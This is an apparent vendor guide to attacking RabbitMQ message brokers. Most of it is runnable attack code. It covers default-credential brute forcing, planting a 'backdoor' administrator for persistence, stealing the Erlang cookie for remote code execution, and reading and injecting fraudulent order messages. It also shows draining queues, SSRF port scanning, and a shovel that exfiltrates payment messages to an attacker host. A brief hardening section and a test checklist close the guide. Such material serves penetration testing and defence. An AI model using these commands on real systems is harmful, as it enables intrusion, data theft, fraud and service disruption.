RabbitMQ routes messages between microservices — making it a high-value target for intercepting business data, injecting fraudulent operations, or pivoting to internal services. The management API at port 15672 ships with default credentials (guest/guest) that are restricted to localhost but often re-enabled on exposed deployments. This guide covers the full RabbitMQ attack surface: credential exploitation, message interception, vhost isolation bypass, shovel SSRF, and federation attacks.
| Port | Protocol | Service | Risk |
|---|---|---|---|
| 5672 | AMQP | Message broker | Credential brute force, message interception |
| 5671 | AMQPS | AMQP over TLS | Certificate validation bypass, weak TLS |
| 15672 | HTTP | Management API / UI | Default credentials, API abuse |
| 15671 | HTTPS | Management API TLS | Same as 15672 over TLS |
| 25672 | Erlang | Cluster distribution | Erlang cookie theft → RCE |
| 4369 | EPMD | Erlang port mapper | Node discovery, cluster manipulation |
| 15692 | HTTP | Prometheus metrics | Information disclosure |
The management plugin exposes a full REST API for administering RabbitMQ. Default credentials are guest/guest — only restricted to localhost by default, but many deployments bind to 0.0.0.0 or expose it via reverse proxies.
# Test default credentials
curl -s http://rabbitmq:15672/api/overview \
-u guest:guest | python3 -m json.tool | head -20
# Returns broker version, cluster name, message stats if auth succeeds
# Common credentials to test
for creds in "guest:guest" "admin:admin" "rabbitmq:rabbitmq" "admin:password"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
http://rabbitmq:15672/api/overview -u $creds)
echo "$creds: HTTP $code"
done
# List all virtual hosts
curl -s http://rabbitmq:15672/api/vhosts -u admin:admin | \
python3 -c "import json,sys; [print(v['name']) for v in json.load(sys.stdin)]"
# List all users and their tags (administrator/management/etc.)
curl -s http://rabbitmq:15672/api/users -u admin:admin | \
python3 -c "import json,sys; [print(u['name'], u['tags']) for u in json.load(sys.stdin)]"
# List all connections (reveals client IPs, apps, TLS status)
curl -s http://rabbitmq:15672/api/connections -u admin:admin | \
python3 -c "
import json,sys
for c in json.load(sys.stdin):
print(f\"Client: {c['peer_host']} App: {c.get('client_properties',{}).get('product','?')} TLS: {c['ssl']}\")
"
# List all queues with message counts
curl -s "http://rabbitmq:15672/api/queues" -u admin:admin | \
python3 -c "
import json,sys
for q in json.load(sys.stdin):
print(f\"VHost: {q['vhost']} Queue: {q['name']} Messages: {q['messages']} Ready: {q['messages_ready']}\")
"
# Get queue bindings (reveals routing topology)
curl -s "http://rabbitmq:15672/api/bindings/%2F" -u admin:admin | \
python3 -c "
import json,sys
for b in json.load(sys.stdin):
print(f\"Exchange: {b['source']} -> Queue: {b['destination']} Key: {b['routing_key']}\")
"
# Create admin user for persistence
curl -s -X PUT "http://rabbitmq:15672/api/users/backdoor" \
-H "Content-Type: application/json" \
-u admin:admin \
-d '{"password":"backdoor123","tags":"administrator"}'
# Grant full permissions on all vhosts
curl -s -X PUT "http://rabbitmq:15672/api/permissions/%2F/backdoor" \
-H "Content-Type: application/json" \
-u admin:admin \
-d '{"configure":".*","write":".*","read":".*"}'
# Export full broker configuration (includes all credentials hashed)
curl -s http://rabbitmq:15672/api/definitions -u admin:admin > rabbitmq_config.json
# Config includes: users (with password hashes), vhosts, queues, bindings, policies
# AMQP brute force with Python
python3 - <<'EOF'
import pika, sys
host = "rabbitmq"
credentials_list = [
("guest", "guest"),
("admin", "admin"),
("rabbitmq", "rabbitmq"),
("user", "password"),
]
for user, password in credentials_list:
try:
params = pika.ConnectionParameters(
host=host,
credentials=pika.PlainCredentials(user, password),
connection_attempts=1,
socket_timeout=3
)
conn = pika.BlockingConnection(params)
print(f"SUCCESS: {user}:{password}")
conn.close()
except pika.exceptions.AuthenticationError:
print(f"FAIL: {user}:{password}")
except Exception as e:
print(f"ERROR: {e}")
EOF
RabbitMQ uses Erlang's distribution protocol for clustering. The Erlang cookie is a shared secret that authenticates cluster nodes. Theft of this cookie allows full cluster control and potential RCE.
# Default Erlang cookie locations
cat /var/lib/rabbitmq/.erlang.cookie
cat /home/rabbitmq/.erlang.cookie
cat ~/.erlang.cookie
# In containers/Kubernetes
kubectl exec -n rabbitmq pod/rabbitmq-0 -- cat /var/lib/rabbitmq/.erlang.cookie
# Once cookie is obtained, connect to Erlang distribution port (25672)
# This gives full cluster control including ability to execute code
# Check EPMD for node names
curl -s http://rabbitmq:4369/names 2>/dev/null
# Or: erl -sname attacker -setcookie STOLEN_COOKIE -remsh rabbit@hostname
# From an Erlang shell with cluster access:
# rpc:call('rabbit@hostname', os, cmd, ["id"]) # Remote command execution
# Get messages from a queue (non-destructive peek via requeue=true)
curl -s -X POST "http://rabbitmq:15672/api/queues/%2F/order-events/get" \
-H "Content-Type: application/json" \
-u admin:admin \
-d '{"count":10,"requeue":true,"encoding":"auto","truncate":50000}' | \
python3 -c "
import json,sys
for msg in json.load(sys.stdin):
print(f\"Routing key: {msg['routing_key']}\")
print(f\"Payload: {msg['payload'][:200]}\")
print('---')
"
# This extracts message content without removing from queue
# Messages may contain: user PII, payment data, order details, auth tokens
# Inject message into exchange (bypasses normal publisher auth checks if admin)
curl -s -X POST "http://rabbitmq:15672/api/exchanges/%2F/order-exchange/publish" \
-H "Content-Type: application/json" \
-u admin:admin \
-d '{
"properties": {"content_type": "application/json", "delivery_mode": 2},
"routing_key": "order.created",
"payload": "{\"orderId\":\"INJECTED-001\",\"userId\":\"attacker\",\"total\":0.01}",
"payload_encoding": "string"
}'
# Via AMQP directly (more realistic attack path with compromised service credentials)
python3 - <<'EOF'
import pika, json
creds = pika.PlainCredentials("service-account", "leaked-password")
conn = pika.BlockingConnection(pika.ConnectionParameters("rabbitmq", credentials=creds))
channel = conn.channel()
# Inject a message that triggers downstream processing
channel.basic_publish(
exchange='order-exchange',
routing_key='order.created',
body=json.dumps({
"orderId": "INJECTED-001",
"userId": "attacker-id",
"items": [{"sku": "EXPENSIVE-ITEM", "qty": 100, "price": 0.01}],
"status": "approved"
}),
properties=pika.BasicProperties(
content_type='application/json',
delivery_mode=2,
)
)
conn.close()
print("Injected")
EOF
# Drain a queue (consume all pending messages — causes service disruption)
python3 - <<'EOF'
import pika
def drain_queue(host, user, password, queue_name):
creds = pika.PlainCredentials(user, password)
conn = pika.BlockingConnection(pika.ConnectionParameters(host, credentials=creds))
channel = conn.channel()
count = 0
while True:
method, props, body = channel.basic_get(queue=queue_name, auto_ack=True)
if method is None:
break
count += 1
conn.close()
return count
drained = drain_queue("rabbitmq", "admin", "admin", "critical-jobs")
print(f"Drained {drained} messages")
EOF
RabbitMQ uses virtual hosts (vhosts) for multi-tenancy isolation. Misconfigured user permissions can allow cross-vhost access.
# Check user permissions across all vhosts
curl -s http://rabbitmq:15672/api/permissions -u admin:admin | \
python3 -c "
import json,sys
for p in json.load(sys.stdin):
print(f\"User: {p['user']} VHost: {p['vhost']} Configure: {p['configure']} Read: {p['read']} Write: {p['write']}\")
"
# Overpermissive pattern — user has .* on all resources in vhost
# User: app-service VHost: /production Configure: .* Read: .* Write: .*
# This means the service can read ANY queue in /production, not just its own
# Test cross-vhost access (user should only access /app vhost)
curl -s -X POST "http://rabbitmq:15672/api/queues/%2Fproduction/payment-events/get" \
-H "Content-Type: application/json" \
-u app-service:app-password \
-d '{"count":1,"requeue":true,"encoding":"auto"}'
# Shovel plugin can move messages between vhosts — check if configured insecurely
curl -s http://rabbitmq:15672/api/parameters/shovel -u admin:admin | python3 -m json.tool
The Shovel plugin moves messages between brokers. An attacker with management API access can configure a shovel to forward all messages to an attacker-controlled AMQP server or use it as an SSRF vector.
# Configure a shovel to exfiltrate messages to attacker's server
curl -s -X PUT "http://rabbitmq:15672/api/parameters/shovel/%2F/data-exfil" \
-H "Content-Type: application/json" \
-u admin:admin \
-d '{
"value": {
"src-protocol": "amqp091",
"src-uri": "amqp://localhost/%2F",
"src-queue": "payment-events",
"dest-protocol": "amqp091",
"dest-uri": "amqp://attacker.com:5672/%2F",
"dest-queue": "exfil",
"src-prefetch-count": 1000,
"ack-mode": "on-publish"
}
}'
# All messages from payment-events are now copied to attacker's broker
# Note: src-prefetch-count determines how many messages are buffered
# SSRF to internal services via AMQP connection attempts
# RabbitMQ will attempt TCP connection to any dest-uri — use for internal port scanning
for port in 22 80 443 3306 5432 6379 8080 9200; do
curl -s -X PUT "http://rabbitmq:15672/api/parameters/shovel/%2F/probe-$port" \
-H "Content-Type: application/json" -u admin:admin \
-d "{\"value\":{\"src-uri\":\"amqp://localhost/%2F\",\"src-queue\":\"test\",\"dest-uri\":\"amqp://internal-host:$port/%2F\",\"dest-queue\":\"test\"}}" &
done
# Check connection status to determine open ports
sleep 2
curl -s http://rabbitmq:15672/api/parameters/shovel -u admin:admin | \
python3 -c "import json,sys; [print(p['name'], p['value'].get('dest-uri')) for p in json.load(sys.stdin)]"
# Federation links external exchanges/queues to internal ones
# Misconfigured federation can expose internal queues to external brokers
# List federation links
curl -s http://rabbitmq:15672/api/federation-links -u admin:admin | python3 -m json.tool
# Federation upstream configuration (may contain credentials to external brokers)
curl -s http://rabbitmq:15672/api/parameters/federation-upstream -u admin:admin | \
python3 -c "
import json,sys
for u in json.load(sys.stdin):
print(f\"Name: {u['name']} URI: {u['value']['uri']}\")
"
# URIs may contain embedded credentials: amqp://user:password@remote-host/vhost
# 1. Delete default guest user
curl -s -X DELETE http://rabbitmq:15672/api/users/guest -u admin:strong-password
# 2. Create least-privilege users per service
# Service users: only read/write on their specific queues
curl -s -X PUT "http://rabbitmq:15672/api/users/order-service" \
-H "Content-Type: application/json" \
-u admin:strong-password \
-d '{"password":"STRONG_RANDOM","tags":""}'
# Grant minimal permissions — only their own queues
curl -s -X PUT "http://rabbitmq:15672/api/permissions/%2F/order-service" \
-H "Content-Type: application/json" \
-u admin:strong-password \
-d '{"configure":"^order-.*","write":"^order-exchange$","read":"^order-queue$"}'
# 3. Enable TLS for AMQP (amqps://)
# rabbitmq.conf:
# listeners.ssl.default = 5671
# ssl_options.cacertfile = /etc/rabbitmq/ca.pem
# ssl_options.certfile = /etc/rabbitmq/server.pem
# ssl_options.keyfile = /etc/rabbitmq/server.key
# ssl_options.verify = verify_peer
# ssl_options.fail_if_no_peer_cert = true
# 4. Restrict management API to localhost or internal IP only
# rabbitmq.conf:
# management.listener.ip = 127.0.0.1
# 5. Set strong Erlang cookie
# Generate: openssl rand -hex 32
# Set in /var/lib/rabbitmq/.erlang.cookie (mode 400)
# 6. Network policy in Kubernetes
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: rabbitmq-access
spec:
podSelector:
matchLabels:
app: rabbitmq
ingress:
- from:
- podSelector: {} # Only pods in same namespace
ports:
- port: 5672 # AMQP only — no management API from pods
| Security Test | Method | Priority |
|---|---|---|
| Default guest credentials | curl /api/overview -u guest:guest | Critical |
| Management API exposure | Port scan + auth test | Critical |
| Message content inspection | POST /api/queues/.../get | High |
| Erlang cookie access | File system / k8s exec | Critical |
| Overpermissive user permissions | GET /api/permissions | High |
| Shovel SSRF configuration | GET /api/parameters/shovel | High |
| Federation upstream credentials | GET /api/parameters/federation-upstream | High |
| AMQP TLS verification | openssl s_client -connect :5671 | Medium |
Ironimo scans RabbitMQ deployments for exposed management APIs, default credentials, and misconfigured shovel plugins as part of automated infrastructure security testing.
Start free scan